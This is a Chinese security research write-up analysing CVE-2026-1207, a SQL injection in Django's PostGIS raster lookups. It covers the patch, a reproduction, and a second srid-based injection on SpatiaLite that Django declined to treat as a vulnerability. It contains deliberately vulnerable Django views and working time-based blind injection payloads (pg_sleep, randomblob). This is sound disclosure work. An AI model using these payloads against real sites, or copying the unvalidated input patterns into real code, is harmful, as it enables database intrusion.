CVE-2026-1207: Django raster lookups on PostGIS SQL注入漏洞
Django 框架在使用 PostGIS 查询地理栅格(raster)数据时,若将未经验证的用户输入直接作为 band index(波段索引)参数,会引发 SQL 注入
Django 框架在使用 PostGIS 查询地理栅格(raster)数据时,若将未经验证的用户输入直接作为 band index(波段索引)参数,会引发 SQL 注入
CVE-2026-1207: Potential SQL injection via raster lookups on PostGIS
Raster lookups on GIS fields (only implemented on PostGIS) were subject to SQL injection if untrusted data was used as a band index.
As a reminder, all untrusted user input should be validated before use.
Thanks to Tarek Nakkouch for the report.
This issue has severity "high" according to the Django security policy.
根据漏洞描述可知漏洞触发的条件为:
使用 PostGIS 数据库 + 对栅格字段执行查询 + band index(波段索引)参数直接传入不可信用户输入
首先先来了解一下什么是PostGIS和raster
PostGIS 是目前最强、最成熟、最通用的开源空间数据库引擎
PostGIS 让数据库可以直接处理:
● 📍 点(Point)
● 🧭 线(LineString)
● 🗺 多边形(Polygon)
● 🌍 地理坐标(WGS84)
● 🧱 三维/四维数据(Z / M)
● 🖼 栅格数据(Raster,如 DEM、遥感影像)
并支持 空间索引 + 空间运算 + 空间关系判断。
https://live.osgeo.org/archive/10.5/zh/quickstart/postgis_quickstart.html
0x01 补丁分析
具体来看下补丁https://github.com/django/django/commit/17a1d64a58ef24c0c3b78d66d86f5415075f18f0

补丁其实就是对用户潜在可控的波段索引band index做了类型校验,如果不为int就返回类型错误
具体对应到代码中的lookup.band_lhs、lookup.band_rhs
因为如果不进行校验的话,后面就会走到2处字符串拼接的逻辑,最终就造成sql注入

django底层在支持一些需要使用sql函数实现的功能时无法使用预编译,只能使用字符串拼接,而刚好有些本该是int类型的波段索引,并没有进行类型校验,在用户传入恶意sql片段的字符串时就能造成sql注入
0x02 漏洞复现
依据对补丁的分析快速在django 5.2.11 + Postgres+ PostGIS复现了该漏洞
我的view.py
import json
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.views import View
from django.db.models import FilteredRelation, F, Q, Count
from django.db.models.functions import Upper
from django.db.models import FilteredRelation, Count, Q
from django.db.models import F
from django.db.models import Sum
from vuln.models import RasterModel
from django.contrib.gis.gdal import GDAL_VERSION, GDALRaster, SpatialReference
def index(request):
return HttpResponse("book app")
class Books(View):
http_method_names = ['get', 'post']
def get(self, request: HttpRequest):
band = request.GET.get("band", 1)
rast = GDALRaster(json.loads("""{
"srid": 4326,
"origin": [0, 0],
"scale": [-1, 1],
"skew": [0, 0],
"width": 5,
"height": 5,
"nr_of_bands": 1,
"bands": [{"data": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}]
}
"""))
qs = RasterModel.objects.filter(rast__contains=(rast, band))
print(qs.query)
qs.count()
return HttpResponse("book app")
model.py
from django.contrib.gis.db import models
class RasterModel(models.Model):
rast = models.RasterField(
"A Verbose Raster Name", null=True, srid=4326, spatial_index=True, blank=True
)
rastprojected = models.RasterField("A Projected Raster Table", srid=3086, null=True)
geom = models.PointField(null=True)
class Meta:
required_db_features = ["supports_raster"]
def __str__(self):
return str(self.id)
class RasterRelatedModel(models.Model):
rastermodel = models.ForeignKey(RasterModel, models.CASCADE)
class Meta:
required_db_features = ["supports_raster"]
def __str__(self):
return str(self.id)
url.py
from django.urls import path
from . import views
urlpatterns = [
path("search", views.Books.as_view(), name="search"),
]
settings里面需要配置数据库的ENGINE为django.contrib.gis.db.backends.postgis

我们使用PostGIS只需要在Postgres数据库中开启对应的扩展
CREATE EXTENSION postgis;
CREATE EXTENSION postgis_raster;在django服务启动之后发送如下时间盲注的的poc
http://127.0.0.1:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
即可看到我们输入的sql片段被拼接到了tempalte_params["rhs"]中

最终执行的时候通过堆叠注入实现了sql盲注

关键的调用栈
check_raster (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\backends\postgis\operations.py:76)
as_sql (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\backends\postgis\operations.py:41)
as_sql (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\models\lookups.py:90)
compile (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:577)
as_sql (\usr\local\lib\python3.11\site-packages\django\db\models\sql\where.py:151)
compile (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:577)
as_sql (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:794)
sql_with_params (\usr\local\lib\python3.11\site-packages\django\db\models\sql\query.py:350)
__str__ (\usr\local\lib\python3.11\site-packages\django\db\models\sql\query.py:342)
get (\workspaces\CVE-2026-1207\vuln\views.py:38)
dispatch (\usr\local\lib\python3.11\site-packages\django\views\generic\base.py:144)
view (\usr\local\lib\python3.11\site-packages\django\views\generic\base.py:105)
_get_response (\usr\local\lib\python3.11\site-packages\django\core\handlers\base.py:197)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
get_response (\usr\local\lib\python3.11\site-packages\django\core\handlers\base.py:140)
__call__ (\usr\local\lib\python3.11\site-packages\django\core\handlers\wsgi.py:124)
__call__ (\usr\local\lib\python3.11\site-packages\django\contrib\staticfiles\handlers.py:80)
run (\usr\local\lib\python3.11\wsgiref\handlers.py:137)
handle_one_request (\usr\local\lib\python3.11\site-packages\django\core\servers\basehttp.py:253)
handle (\usr\local\lib\python3.11\site-packages\django\core\servers\basehttp.py:228)
__init__ (\usr\local\lib\python3.11\socketserver.py:755)
finish_request (\usr\local\lib\python3.11\socketserver.py:361)
process_request_thread (\usr\local\lib\python3.11\socketserver.py:691)
run (\usr\local\lib\python3.11\threading.py:982)
_bootstrap_inner (\usr\local\lib\python3.11\threading.py:1045)
_bootstrap (\usr\local\lib\python3.11\threading.py:1002)0x03 我的新的发现
我从这个漏洞的分析过程中得到了一些启发,因为CVE-2026-1207存在的原因在于Django ORM在实现一些通过底层调用SQL函数实现的功能时没有办法使用预编译,并且没有严格去做类型校验导致的,按照这个思路我让glm帮我分析了下附近的代码,找到了一处潜在的的SQL注入
具体位置在django/contrib/gis/db/backends/base/operations.py的get_geom_placeholder函数,该函数是Django GIS 后端操作基类中的一个重要方法,用于为几何字段生成 SQL 占位符。有问题的参数是value.srid,这个同样也是本来是int类型的srid参数没有做类型校验,直接拼接到SQL中导致的注入。
SRID(Spatial Reference System Identifier,空间参考系统标识符)是 PostGIS 和所有 GIS 系统中用于唯一标识坐标系的整数代码
# django/contrib/gis/db/backends/base/operations.py
def get_geom_placeholder(self, f, value, compiler):
"""
Return the placeholder for the given geometry field with the given
value. Depending on the spatial backend, the placeholder may contain a
stored procedure call to the transformation function of the spatial
backend.
"""
def transform_value(value, field):
return value is not None and value.srid != field.srid
if hasattr(value, "as_sql"):
return (
"%s(%%s, %s)" % (self.spatial_function_name("Transform"), f.srid)
if transform_value(value.output_field, f)
else "%s"
)
if transform_value(value, f):
# Add Transform() to the SQL placeholder.
return "%s(%s(%%s,%s), %s)" % (
self.spatial_function_name("Transform"),
self.from_text,
value.srid,
f.srid,
)实际去验证的时候发现没有那么简单
这个方法是在基类实现的,实际上在PostGis、Oracle数据库中相关的实现已经复写了该方法,只有Mysql和spatialite会受到此方法的影响。后面一看由于函数逻辑涉及到SQL中的Transform方法的使用,而Mysql的实现逻辑中刚好不支持该函数,所以最终能进行实际验证的只有spatialite

我使用了django 5.2.12 + sqlite+ patiaLite验证了该漏洞存在,以时间盲注为例
views.py
class MaliciousGeometry(GEOSGeometry):
"""恶意几何对象 - srid 属性返回 SQL 注入 payload"""
def __init__(self, sql_payload):
super().__init__("POINT(0 0)", srid=4326)
object.__setattr__(self, '_srid', sql_payload)
@property
def srid(self):
return self._srid
@srid.setter
def srid(self, value):
pass
class GISInjection(View):
"""
测试 GIS SQL 注入漏洞的视图
通过正常的 Django ORM 路径触发 base operations 的漏洞代码
"""
http_method_names = ['get', 'post']
def get(self, request: HttpRequest):
# 从 URL 参数获取 SQL payload
sql_payload = request.GET.get('srid', '')
# 创建恶意 Geometry 对象
# 关键:设置一个与字段不同的 srid 来触发 transform 逻辑
malicious_geom = MaliciousGeometry(sql_payload)
# 触发查询 - 使用 intersects lookup
# 这会调用 SpatiaLite 的 get_geom_placeholder (继承自 base)
qs = City.objects.filter(location__intersects=malicious_geom)
# 打印生成的 SQL
sql_str = str(qs.query)
print("=" * 50)
print("Generated SQL:")
print(sql_str)
print("=" * 50)
try:
count = qs.count()
return JsonResponse({
'sql': sql_str,
'count': count
})
except Exception as e:
return JsonResponse({
'sql': sql_str,
'error': str(e)
})model.py
class City(models.Model):
"""城市模型 - 用于测试 GIS SQL 注入漏洞"""
name = models.CharField(max_length=100)
location = models.PointField(srid=4326) # SRID=4326 (WGS84)
class Meta:
db_table = 'vuln_city'
def __str__(self):
return self.name
url.py
from django.urls import path
from . import views
urlpatterns = [
path("gis-inject", views.GISInjection.as_view(), name="gis_inject"),
]使用如下poc即可进行延时注入(因为sqlite中没有显式的sleep函数,最终是通过randomblob产生大量的随机数占用大量内存来达到时间盲注的效果)
GET /book/gis-inject?srid=%28%73%65%6c%65%63%74%20%72%61%6e%64%6f%6d%62%6c%6f%62%28%31%30%30%30%30%30%30%30%30%30%29%29%20 HTTP/1.1
Host: localhost:8087payload明文
(select randomblob(1000000000)) 
我复现了之后其实觉得其实觉得利用难度很高,我的view中还必须要存在这种通过魔术方法强制为srid赋值的逻辑这个是因为django层虽然没有进行类型校验,但是GEOSGeometry 的srid对应的setter方法会调用 C 函数进行类型校验,所以无法简单地实例化一个包含恶意srid值得GEOSGeometry对象
alicious_geom.srid = "(SELECT password FROM users)" # 设置恶意 srid
^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/geometry.py", line 379, in srid
capi.geos_set_srid(self.ptr, 0 if srid is None else srid)
File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/libgeos.py", line 154, in __call__
return self.func(*args)
^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/prototypes/threadsafe.py", line 47, in __call__
return self.cfunc(self.thread_context.handle.ptr, *args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ctypes.ArgumentError: argument 3: TypeError: wrong type
最终提给Django官方得时候,官方也是以开发者需要合理过滤用户输入、利用难度过大等理由拒了,不过在最新版本中这个问题已经修复了

后面使用glm帮我尝试找到其他可以绕过校验的方法也无果,所以就只能到此为止了
0x04 参考
补丁 https://github.com/django/django/commit/17a1d64a58ef24c0c3b78d66d86f5415075f18f0
上述相关的漏洞复现代码可在我的github中找到https://github.com/sw0rd1ight